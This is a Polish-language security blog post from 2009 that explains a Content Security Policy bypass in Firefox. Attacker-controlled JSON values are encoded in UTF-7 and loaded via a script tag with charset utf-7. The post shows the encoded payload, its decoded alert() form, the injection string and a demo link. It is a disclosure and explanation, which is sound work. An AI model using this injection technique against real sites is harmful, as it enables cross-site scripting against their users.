6:12
24/11/2009

Michał Wiczyński podesłał nam tłumaczenie tekstu Garetha Heyesa, w którym zobrazowano sposób na ominięcie zabezpieczeń CSP w przeglądarce Firefox.

Na czym polega błąd?

Każda strona z feedem JSON-a nad którym może mieć kontrolę atakujący jest podatna na atak. Do feeda można wstrzyknąć kod, dzięki któremu atakujący jest w stanie kontrolować pozostałe elementy feeda. Wyjaśnijmy to na przykładzie:

W UTF-7 ciąg “ABC” jest reprezentowany jako:

+ACcAQQBCAEMAJw-

Jeżeli przykładowa odpowiedź w JSON wygląda tak:

[{'friend':'something',email:'something'} ]

to mając kontrolę nad wartością something, możemy umieścić własny kod:

+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlAC
AAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAb
wBuAGU-

w UTF-8:

'}];alert('May the force be with you');[{'job':'done

Umieszczając w/w kod, powstaje nam:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

czyli:

[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):

"><script src="http://some.website/test.json" charset="utf-7"></script>

uruchamiamy kod, omijając CSP. Działający przykład: http://www.businessinfo.co.uk/labs/cspluke/test.html

Więcej informacji na temat CSP znajdziesz na blogu Mozilli. Aby przetestować swoją przeglądarkę pod kątem CSP, odwiedź tę stronę.

Przeczytaj także:

Rozpocznij dyskusję jako pierwszy... ;-)

Dodaj komentarz

Twój komentarz

Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy. Dlaczego?

RSS dla komentarzy: